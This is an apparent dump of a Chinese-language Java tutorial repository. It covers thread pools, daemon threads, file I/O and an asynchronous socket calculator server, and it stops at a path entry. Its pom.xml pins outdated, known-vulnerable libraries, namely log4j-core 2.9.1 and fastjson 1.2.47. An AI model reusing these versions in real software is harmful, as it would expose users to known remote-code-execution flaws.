//销毁线程池\n        scheduledThreadPool.shutdown();\n    }\n```\n\n## 自定义线程池newFixedThreadPool\nThreadPoolExecutor()//指定线程数的线程池。\n\n\n```java\nThreadPoolExecutor(int corePoolSize,\n                              int maximumPoolSize,\n                              long keepAliveTime,\n                              TimeUnit unit,\n                              BlockingQueue<Runnable> workQueue,\n                              ThreadFactory threadFactory,\n                              RejectedExecutionHandler handler) \n```\n\n\n 自定义线程池，可以用ThreadPoolExecutor类创建，它有多个构造方法来创建线程池。\n\n`corePoolSize` 核心线程池大小\n`maximumPoolSize` 最大线程池大小----30\n`keepAliveTime` 线程池中超过corePoolSize数目的空闲线程最大存活时间\n`TimeUnit` keepAliveTime时间单位----TimeUnit.MINUTES\n`workQueue` 阻塞队列\n `threadFactory` 新建线程工厂\n `rejectedExecutionHandler` 当提交任务数超过maxmumPoolSize+workQueue之和时, 任务会交给RejectedExecutionHandler来处理。\n\n**提交任务**\n\n可以向ThreadPoolExecutor提交两种任务：Callable和Runnable。\n\n 1. Callable\n\n \n\t该类任务有返回结果，可以抛出异常。 \n\t通过submit函数提交，返回Future对象。 \n\t可通过get获取执行结果。\n\n 1. Runnable\n\n    该类任务只执行，无法获取返回结果，并在执行过程中无法抛异常。 \n    通过execute提交。\n\n**关闭线程池**\n\n 关闭线程池有两种方式：shutdown和shutdownNow，关闭时，会遍历所有的线程，调用它们的interrupt函数中断线程。但这两种方式对于正在执行的线程处理方式不同。\n\n 1. shutdown()\n\n    仅停止阻塞队列中等待的线程，那些正在执行的线程就会让他们执行结束。\n\n 2. shutdownNow()\n\n    不仅会停止阻塞队列中的线程，而且会停止正在执行的线程。\n\n最大线程数一般设为2N+1最好，N是CPU核数 \n\n```java\npublic static void main(String[] args) {\n        CustomThreadPoolExecutor exec = new CustomThreadPoolExecutor();\n\n        //1. 初始化\n        exec.init();\n\n        ExecutorService executorService = exec.getCustomThreadPoolExecutor();\n\n        for (int i = 0; i < 100; i++) {\n            System.out.println(\"提交第\" + i + \"个任务\");\n            executorService.execute(() -> {\n                try {\n                    System.out.println(\"执行自定义的线程池:\" + Thread.currentThread().getName());\n                    TimeUnit.SECONDS.sleep(10);\n                } catch (InterruptedException e) {\n                    e.printStackTrace();\n                }\n            });\n        }\n\n        try {\n            //销毁\n            Thread.sleep(1000);\n            exec.destory();\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n```\n "
  },
  {
    "path": "jun_java_plugins/jun_threadpool/dependency-reduced-pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>io.github.wujun728</groupId>\n  <artifactId>jun_threadpool</artifactId>\n  <packaging>war</packaging>\n  <version>1.0</version>\n\n  <build>\n    <finalName>jun_executor</finalName>\n    <plugins>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${java.version}</source>\n          <target>${java.version}</target>\n          <encoding>${java.encoding}</encoding>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <version>3.2.1</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <transformers>\n                <transformer>\n                  <mainClass>threadpool.io.github.wujun728.ThreadPoolDemoTest</mainClass>\n                </transformer>\n              </transformers>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.junit.jupiter</groupId>\n      <artifactId>junit-jupiter</artifactId>\n      <version>5.5.2</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>junit-jupiter-api</artifactId>\n          <groupId>org.junit.jupiter</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>junit-jupiter-params</artifactId>\n          <groupId>org.junit.jupiter</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>junit-jupiter-engine</artifactId>\n          <groupId>org.junit.jupiter</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>javax.servlet-api</artifactId>\n      <version>3.1.0</version>\n      <scope>provided</scope>\n    </dependency>\n  </dependencies>\n  <properties>\n    <maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n    <maven.compiler.source>1.8</maven.compiler.source>\n    <java.encoding>UTF-8</java.encoding>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <maven.compiler.target>1.8</maven.compiler.target>\n  </properties>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_threadpool</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\t<description>Thread pool examples, Netty networking, Socket/NIO/AIO/BIO demos, and RPC framework samples</description>\n\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t\t<java.encoding>UTF-8</java.encoding>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t<java.version>1.8</java.version>\n\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- https://mvnrepository.com/artifact/io.netty/netty-all -->\n\t\t<dependency>\n\t\t\t<groupId>io.netty</groupId>\n\t\t\t<artifactId>netty-all</artifactId>\n\t\t\t<version>4.1.26.Final</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.47</version>\n\t\t</dependency>\n\n\t\t<!-- test -->\n\t\t<dependency>\n\t\t\t<groupId>org.junit.jupiter</groupId>\n\t\t\t<artifactId>junit-jupiter</artifactId>\n\t\t\t<version>5.5.2</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!--log4j -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-core</artifactId>\n\t\t\t<version>2.9.1</version>\n\t\t</dependency>\n\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>junit</groupId> -->\n\t\t<!-- <artifactId>junit</artifactId> -->\n\t\t<!-- <version>4.13</version> -->\n\t\t<!-- </dependency> -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-email</artifactId>\n\t\t\t<version>1.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.sun.mail</groupId>\n\t\t\t<artifactId>javax.mail</artifactId>\n\t\t\t<version>1.6.2</version>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>jun_executor</finalName>\n\t\t<!-- java编译插件 -->\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<!--<version>3.1</version> -->\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>${java.version}</source>\n\t\t\t\t\t<target>${java.version}</target>\n\t\t\t\t\t<encoding>${java.encoding}</encoding>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!--添加主类 -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-shade-plugin</artifactId>\n\t\t\t\t<version>3.2.1</version>\n\t\t\t\t<executions>\n\t\t\t\t\t<execution>\n\t\t\t\t\t\t<phase>package</phase>\n\t\t\t\t\t\t<goals>\n\t\t\t\t\t\t\t<goal>shade</goal>\n\t\t\t\t\t\t</goals>\n\t\t\t\t\t\t<configuration>\n\t\t\t\t\t\t\t<transformers>\n\t\t\t\t\t\t\t\t<transformer\n\t\t\t\t\t\t\t\t\timplementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\">\n\t\t\t\t\t\t\t\t\t<mainClass>threadpool.io.github.wujun728.ThreadPoolDemoTest</mainClass>\n\t\t\t\t\t\t\t\t</transformer>\n\t\t\t\t\t\t\t</transformers>\n\t\t\t\t\t\t</configuration>\n\t\t\t\t\t</execution>\n\t\t\t\t</executions>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/ExecutorTest.java",
    "content": "package com.jun.base.executor;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ThreadPoolExecutor;\n\npublic class ExecutorTest {\n\n\tprivate static Integer pages=1; // 网页数\n\t\n\tprivate static boolean exeFlag=true; // 执行标识\n\t\n\tpublic static void main(String[] args) {\n\t\tExecutorService executorService=Executors.newFixedThreadPool(10); // 创建ExecutorService 连接池默认连接10个\n\t\t\n\t\t\n\t\twhile(exeFlag){\n\t\t\tif(pages<=100){\n\t\t\t\texecutorService.execute(new Runnable() {\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t// TODO Auto-generated method stub\n\t\t\t\t\t\tSystem.out.println(\"爬取了第\"+pages+\"网页...\");\n\t\t\t\t\t\tpages++;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}else{\n\t\t\t\tif(((ThreadPoolExecutor)executorService).getActiveCount()==0){ // 活动线程个数是0\n\t\t\t\t\texecutorService.shutdown(); // 结束所有线程\n\t\t\t\t\texeFlag=false;\n\t\t\t\t\tSystem.out.println(\"爬虫任务已经完成\");\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\tThread.sleep(100); // 线程休息0.1秒\n\t\t\t} catch (InterruptedException e) {\n\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\te.printStackTrace();\n\t\t\t} \n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/daemonthread/DaemonThread.java",
    "content": " \npackage com.jun.base.executor.daemonthread;\n\n/**\n * 类名称:DaemonThread.java   精灵线程（Daemon）或守护线程\n * 类描述:Daemon英文意思是希腊神话中半人半神的精灵，守护神。在java中，\"精灵守护Daemon线程\"就是运行在程序后台的线程，\n * 一般被用于在后台为其它线程提供服务。既然它在后台运行，当前台线程运行完，主体程序就结束了，\n * 理所当然该后台线程也应该随之结束了。相对来讲，前面几节我们讲的线程是\"用户线程\"，这两种线程技术上来讲有什么分别呢？\n * java官方文档中大致这样描述：\n * The Java Virtual Machine continues to execute threads until All threads that are not daemon threads have died。 \n * 这句话的含义就是：用户线程不完，jvm系统就不完，要是想只运行\"精灵Daemon线程\",\n * 对不起jvm不给面子，不伺候，就关闭了，不给\"精灵Daemon线程\"们单独运行的机会。这句话比较难理解，我换一句话来说这件事。当一个应用程序的所有非精灵线程停止运行时，即使仍有精灵线程还在运行，该应用程序也将终止，反过来，只要还有非精灵线程在运行，应用程序就不会停止。我们可以通过setDaemon(boolean on)来设置某线程为精灵线程。用isDaemon（）来判断某线程是否为精灵线程或守护线程。注意：要想设置一个线程为精灵守护线程，setDaemon必须在start前调用。\n * 作    者:why\n * 时    间:2017年6月17日\n */\nclass Thread1 extends Thread {\n    public void run(){ \n        for(int i = 1; i <= 15;i++){ \n            try{ \n                Thread.sleep(100);  \n            } catch (InterruptedException ex){ \n                ex.printStackTrace(); \n            } \n            System.out.println(\"子线程 \"+i); \n        } \n    } \n}\npublic class DaemonThread {\n\tpublic static void main(String[] args) {\n\t\tThread1 t = new Thread1();\n\t\tt.setDaemon(true);//是精灵守护线程，此设置必须在start之前设置\n\t\tt.start();\n\t\tSystem.out.println((t.isDaemon()==true?\"子线程是精灵守护线程\":\"子线程不是精灵守护线程\"));\n\t\ttry {\n\t\t\tThread.sleep(1000);\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tSystem.out.println(Thread.currentThread().getName()+\"结束\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/daemonthread/DaemonThread2.java",
    "content": " \npackage com.jun.base.executor.daemonthread;\n\n/**\n * 类名称:DaemonThread2.java\n * 类描述:\n * 作    者:why\n * 时    间:2017年6月17日\n */\nclass Thread2 extends Thread {\n    public void run(){ \n        for(int i = 1; i <= 15;i++){ \n            try{ \n                Thread.sleep(100);  \n            } catch (InterruptedException ex){ \n                ex.printStackTrace(); \n            } \n            System.out.println(\"子线程 \"+i); \n        } \n    } \n}\npublic class DaemonThread2 {\n\tpublic static void main(String[] args) {\n\t\tThread2 t = new Thread2();\n\t\tt.setDaemon(false);//不是精灵守护线程\n\t\tt.start();\n\t\tSystem.out.println((t.isDaemon()==true?\"子线程是精灵守护线程\":\"子线程不是精灵守护线程\"));\n\t\ttry {\n\t\t\tThread.sleep(1000);\n\t\t} catch (InterruptedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\tSystem.out.println(Thread.currentThread().getName()+\"结束\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/daemonthread/README.md",
    "content": "#Java守护线程和用户线程\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/threadpool/CustomThreadPoolExecutor.java",
    "content": "package com.jun.base.executor.threadpool;\n\nimport java.util.concurrent.*;\n\n/**\n * 描述: 自定义线程池\n *\n * @author Wujun\n * @date : 2020-02-01 19:14\n */\npublic class CustomThreadPoolExecutor {\n    private ThreadPoolExecutor pool = null;\n\n    /**\n     * 线程池初始化方法\n     * corePoolSize 核心线程池大小----10\n     * maximumPoolSize 最大线程池大小----30\n     * keepAliveTime 线程池中超过corePoolSize数目的空闲线程最大存活时间----30+单位TimeUnit\n     * TimeUnit keepAliveTime时间单位----TimeUnit.MINUTES\n     * workQueue 阻塞队列----new ArrayBlockingQueue<Runnable>(10)====10容量的阻塞队列\n     * threadFactory 新建线程工厂----new CustomThreadFactory()====定制的线程工厂\n     * rejectedExecutionHandler 当提交任务数超过maxmumPoolSize+workQueue之和时,\n     * 任务会交给RejectedExecutionHandler来处理\n     */\n    public void init() {\n\n        pool = new ThreadPoolExecutor(10, 30, 30,\n                TimeUnit.MINUTES, new ArrayBlockingQueue<>(10), new CustomThreadFactory(), new CustomRejectedExecutionHandler());\n    }\n\n    /**\n     * 线程池销毁方法\n     */\n    public void destory() {\n        if (pool != null) {\n            pool.shutdown();\n        }\n    }\n\n    /**\n     * 获取线程池的实例\n     * @return\n     */\n    public ExecutorService getCustomThreadPoolExecutor() {\n        return this.pool;\n    }\n\n\n    /**\n     * 当提交任务数超过maxmumPoolSize+workQueue之和时，任务会交给RejectedExecutionHandler来处理\n     */\n    private class CustomRejectedExecutionHandler implements RejectedExecutionHandler {\n        @Override\n        public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n            //记录异常\n//            System.out.println(\"error...................\");\n            //将指定元素插入此队列中，将等待可用的空间.通俗点说就是>maxSize 时候，阻塞，直到能够有空间插入元素\n            try {\n                executor.getQueue().put(r);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n\n        }\n    }\n\n    /**\n     * 实现线程工厂方法\n     */\n    private class CustomThreadFactory implements ThreadFactory {\n        @Override\n        public Thread newThread(Runnable r) {\n            return new Thread(r);\n        }\n    }\n\n    public static void main(String[] args) {\n        CustomThreadPoolExecutor exec = new CustomThreadPoolExecutor();\n\n        //1. 初始化\n        exec.init();\n\n        ExecutorService executorService = exec.getCustomThreadPoolExecutor();\n\n        for (int i = 0; i < 100; i++) {\n            System.out.println(\"提交第\" + i + \"个任务\");\n            executorService.execute(() -> {\n                try {\n                    System.out.println(\"执行自定义的线程池:\" + Thread.currentThread().getName());\n                    TimeUnit.SECONDS.sleep(10);\n                } catch (InterruptedException e) {\n                    e.printStackTrace();\n                }\n            });\n        }\n\n        try {\n            //销毁\n            Thread.sleep(1000);\n            exec.destory();\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/executor/threadpool/ThreadPoolDemo.java",
    "content": "package com.jun.base.executor.threadpool;\n\nimport java.util.concurrent.*;\n\n/**\n * 描述: JAVA线程池实现\n *\n * @author Wujun\n * @date : 2020-2-1 14:34\n */\npublic class ThreadPoolDemo {\n\n    /**\n     * 启动固定线程数的线程池\n     *\n     * @param size 线程池中最大可创建多少个线程\n     * @throws ExecutionException   执行异常\n     * @throws InterruptedException 中断异常\n     */\n    public void fixedThreadPool(int size) throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newFixedThreadPool(size);\n        for (int i = 0; i < 10; i++) {\n            Future<Integer> task = executorService.submit(() -> {\n                System.out.println(\"执行线程\" + Thread.currentThread().getName());\n                return 40;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n\n    /**\n     * 按需分配的线程池\n     * CachedThreadPool比fixedThreadPool更快\n     * 只要有任务并且其他线程都在活跃态，就会开启一个新的线程\n     * 最大线程数：Integer.MAX_VALUE = 0x7fffffff\n     */\n    public void cacheThreadPool() throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newCachedThreadPool();\n        for (int i = 0; i < 10; i++) {\n            Future<Integer> task = executorService.submit(() -> {\n                System.out.println(\"执行线程\" + Thread.currentThread().getName());\n                return 50;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n\n    /**\n     * 单线程化的线程池\n     * 串行执行所有任务\n     */\n    public void singleThreadPool() throws ExecutionException, InterruptedException {\n        ExecutorService executorService = Executors.newSingleThreadExecutor();\n        for (int i = 0; i < 10; i++) {\n            final int index = i;\n            Future<Integer> task = executorService.submit(() -> {\n                Thread.currentThread().setName(\"Thread i = \" + index);\n                System.out.println(\"执行单线程化的线程池:\" + Thread.currentThread().getName());\n                return 50;\n            });\n            System.out.println(\"第\" + i + \"次计算,结果:\" + task.get());\n        }\n\n        //销毁线程池\n        executorService.shutdown();\n    }\n\n    /**\n     * 定时定期的线程池\n     */\n    public void scheduledThreadPool() {\n        ScheduledExecutorService scheduledThreadPool = Executors.newScheduledThreadPool(10);\n\n        //延迟3s后运行\n        for (int i = 0; i < 10; i++) {\n            scheduledThreadPool.schedule(() ->\n                    System.out.println(\"执行线程\" + Thread.currentThread().getName()), 10, TimeUnit.SECONDS);\n        }\n\n//        scheduledThreadPool.scheduleAtFixedRate(() ->\n//                System.out.println(\"scheduleAtFixedRate：执行线程\" + Thread.currentThread().getName()), 1,1, TimeUnit.SECONDS);\n\n        //销毁线程池\n        scheduledThreadPool.shutdown();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/Demo.java",
    "content": "package com.jun.base.io;\n\nimport java.io.File;\nimport java.io.FileWriter;\nimport java.io.IOException;\n//https://blog.csdn.net/u012467492/article/details/52972916\npublic class Demo {\n    public static void main(String[] args ) {\n\n        //创建要操作的文件路径和名称\n        //其中，File.separator表示系统相关的分隔符，Linux下为：/  Windows下为：\\\\\n        String path =\"d:\"+ File.separator + \"home\" + File.separator + \"siu\" +\n                File.separator + \"work\" + File.separator;\n\n        File file = new File(path);\n\n        /**\n         mkdir()  创建此抽象路径名指定的目录。如果父目录不存在则创建不成功。\n\n         mkdirs() 创建此抽象路径名指定的目录，包括所有必需但不存在的父目录。\n\n         创建文件\n\n         File file3=new File(\"/aa/text.tx\");\n         Boolean b=file3.createNewFile();//如果目录aa存在返回true，不存在就返回false\n         */\n\n        Boolean b=file.mkdirs();\n        System.out.println(b);\n\n\n        path += \"demo.txt\";\n        //由于IO操作会抛出异常，因此在try语句块的外部定义FileWriter的引用\n        FileWriter w = null;\n        try {\n            //以path为路径创建一个新的FileWriter对象\n            //如果需要追加数据，而不是覆盖，则使用FileWriter（path，true）构造方法\n            w = new FileWriter(path);\n\n            //将字符串写入到流中，\\r\\n表示换行想有好的\n            w.write(\"Nerxious is a good boy\\r\\n\");\n            //如果想马上看到写入效果，则需要调用w.flush()方法\n            w.flush();\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            //如果前面发生异常，那么是无法产生w对象的\n            //因此要做出判断，以免发生空指针异常\n            if(w != null) {\n                try {\n                    //关闭流资源，需要再次捕捉异常\n                    w.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/Demo2.java",
    "content": "package com.jun.base.io;\nimport java.io.File;\nimport java.io.FileReader;\nimport java.io.IOException;\n\npublic class Demo2 {\n    public static void main(String[] args ) {\n        String path = \"d:\"+File.separator + \"home\" + File.separator + \"siu\" +\n                File.separator + \"work\" + File.separator + \"demo.txt\";\n\n        FileReader r = null;\n        try {\n            r = new FileReader(path);\n\n            //方式一：读取单个字符的方式\n            //每读取一次，向下移动一个字符单位\n         /*   int temp1 = r.read();\n            System.out.println((char)temp1);\n            int temp2 = r.read();\n            System.out.println((char)temp2);*/\n\n            //方式二：循环读取\n            //read()方法读到文件末尾会返回-1\n            /*\n            while (true) {\n                int temp = r.read();\n                if (temp == -1) {\n                    break;\n                }\n                System.out.print((char)temp);\n            }\n            */\n\n            //方式三：循环读取的简化操作\n            //单个字符读取，当temp不等于-1的时候打印字符\n            /*int temp = 0;\n            while ((temp = r.read()) != -1) {\n                System.out.print((char)temp);\n            }\n            */\n\n            //方式四：读入到字符数组\n            /*\n            char[] buf = new char[1024];\n            int temp = r.read(buf);\n            //将数组转化为字符串打印,后面参数的意思是\n            //如果字符数组未满，转化成字符串打印后尾部也许会出现其他字符\n            //因此，读取的字符有多少个，就转化多少为字符串\n            System.out.println(new String(buf,0,temp));\n            System.out.println(new String(buf,0,temp).length());\n            System.out.println(new String(buf).length());\n            */\n\n            //方式五：读入到字符数组的优化\n            //由于有时候文件太大，无法确定需要定义的数组大小\n            //因此一般定义数组长度为1024，采用循环的方式读入\n            /**/\n            char[] buf = new char[1024];\n            int temp = 0;\n            while((temp = r.read(buf)) != -1) {\n                //System.out.println(temp);\n                System.out.print(new String(buf,0,temp));\n            }\n\n\n        } catch (IOException e) {\n            e.printStackTrace();\n        } finally {\n            if(r != null) {\n                try {\n                    r.close();\n                } catch (IOException e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/ReFile.java",
    "content": "package com.jun.base.io;\n\nimport java.io.File;\n/*\n\nhttps://www.cnblogs.com/lm970585581/p/6884094.html\n\n */\npublic class ReFile {\n\n    public static void main(String[] args) {\n\n        File file = new File(\"ReadMe.txt\");\n\n        System.out.println(file.getName());\n        System.out.println(file.getAbsolutePath());\n        System.out.println(file.lastModified());\n        System.out.println(file.toPath());\n        System.out.println(file.length());\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/ReadMe.txt",
    "content": "1, io ，bio  , nio , aio\nhttps://blog.csdn.net/anxpp/article/details/51512200\n\nhttps://blog.csdn.net/annotation_yang/article/details/78397239\n\nhttps://blog.csdn.net/u012467492/article/details/52972916"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/AcceptHandler.java",
    "content": "package com.jun.base.io.aio;\n\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\n//作为handler接收客户端连接\npublic class AcceptHandler implements CompletionHandler<AsynchronousSocketChannel, AsyncServerHandler> {\n    @Override\n    public void completed(AsynchronousSocketChannel channel,AsyncServerHandler serverHandler) {\n        //继续接受其他客户端的请求\n        Server.clientCount++;\n        System.out.println(\"连接的客户端数：\" + Server.clientCount);\n        serverHandler.channel.accept(serverHandler, this);\n        //创建新的Buffer\n        ByteBuffer buffer = ByteBuffer.allocate(1024);\n        //异步读  第三个参数为接收消息回调的业务Handler\n        channel.read(buffer, buffer, new ReadHandler(channel));\n    }\n    @Override\n    public void failed(Throwable exc, AsyncServerHandler serverHandler) {\n        exc.printStackTrace();\n        serverHandler.latch.countDown();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/AsyncServerHandler.java",
    "content": "package com.jun.base.io.aio;\n\nimport java.io.IOException;\nimport java.net.InetSocketAddress;\nimport java.nio.channels.AsynchronousServerSocketChannel;\nimport java.util.concurrent.CountDownLatch;\n\nimport com.jun.base.io.aio.AcceptHandler;\npublic class AsyncServerHandler implements Runnable {\n    public CountDownLatch latch;\n    public AsynchronousServerSocketChannel channel;\n    public AsyncServerHandler(int port) {\n        try {\n            //创建服务端通道\n            channel = AsynchronousServerSocketChannel.open();\n            //绑定端口\n            channel.bind(new InetSocketAddress(port));\n            System.out.println(\"服务器已启动，端口号：\" + port);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    @Override\n    public void run() {\n        //CountDownLatch初始化\n        //它的作用：在完成一组正在执行的操作之前，允许当前的现场一直阻塞\n        //此处，让现场在此阻塞，防止服务端执行完成后退出\n        //也可以使用while(true)+sleep\n        //生成环境就不需要担心这个问题，以为服务端是不会退出的\n        latch = new CountDownLatch(1);\n        //用于接收客户端的连接\n        channel.accept(this,new AcceptHandler());\n        try {\n            latch.await();\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/ReadHandler.java",
    "content": "package com.jun.base.io.aio;\n\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.nio.ByteBuffer;\nimport java.nio.channels.AsynchronousSocketChannel;\nimport java.nio.channels.CompletionHandler;\n\nimport com.jun.base.io.bio.Calculator;\n\npublic class ReadHandler implements CompletionHandler<Integer, ByteBuffer> {\n    //用于读取半包消息和发送应答\n    private AsynchronousSocketChannel channel;\n    public ReadHandler(AsynchronousSocketChannel channel) {\n        this.channel = channel;\n    }\n    //读取到消息后的处理\n    @Override\n    public void completed(Integer result, ByteBuffer attachment) {\n        //flip操作\n        attachment.flip();\n        //根据\n        byte[] message = new byte[attachment.remaining()];\n        attachment.get(message);\n        try {\n            String expression = new String(message, \"UTF-8\");\n            System.out.println(\"服务器收到消息: \" + expression);\n            String calrResult = null;\n            try{\n                calrResult = Calculator.cal(expression).toString();\n            }catch(Exception e){\n                calrResult = \"计算错误：\" + e.getMessage();\n            }\n            //向客户端发送消息\n            doWrite(calrResult);\n        } catch (UnsupportedEncodingException e) {\n            e.printStackTrace();\n        }\n    }\n    //发送消息\n    private void doWrite(String result) {\n        byte[] bytes = result.getBytes();\n        ByteBuffer writeBuffer = ByteBuffer.allocate(bytes.length);\n        writeBuffer.put(bytes);\n        writeBuffer.flip();\n        //异步写数据 参数与前面的read一样\n        channel.write(writeBuffer, writeBuffer,new CompletionHandler<Integer, ByteBuffer>() {\n            @Override\n            public void completed(Integer result, ByteBuffer buffer) {\n                //如果没有发送完，就继续发送直到完成\n                if (buffer.hasRemaining())\n                    channel.write(buffer, buffer, this);\n                else{\n                    //创建新的Buffer\n                    ByteBuffer readBuffer = ByteBuffer.allocate(1024);\n                    //异步读  第三个参数为接收消息回调的业务Handler\n                    channel.read(readBuffer, readBuffer, new ReadHandler(channel));\n                }\n            }\n            @Override\n            public void failed(Throwable exc, ByteBuffer attachment) {\n                try {\n                    channel.close();\n                } catch (IOException e) {\n                }\n            }\n        });\n    }\n    @Override\n    public void failed(Throwable exc, ByteBuffer attachment) {\n        try {\n            this.channel.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/ReadMe.txt",
    "content": "aio  异步非阻塞\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_threadpool/src/main/java/com/jun/base/io/aio/Server.java",
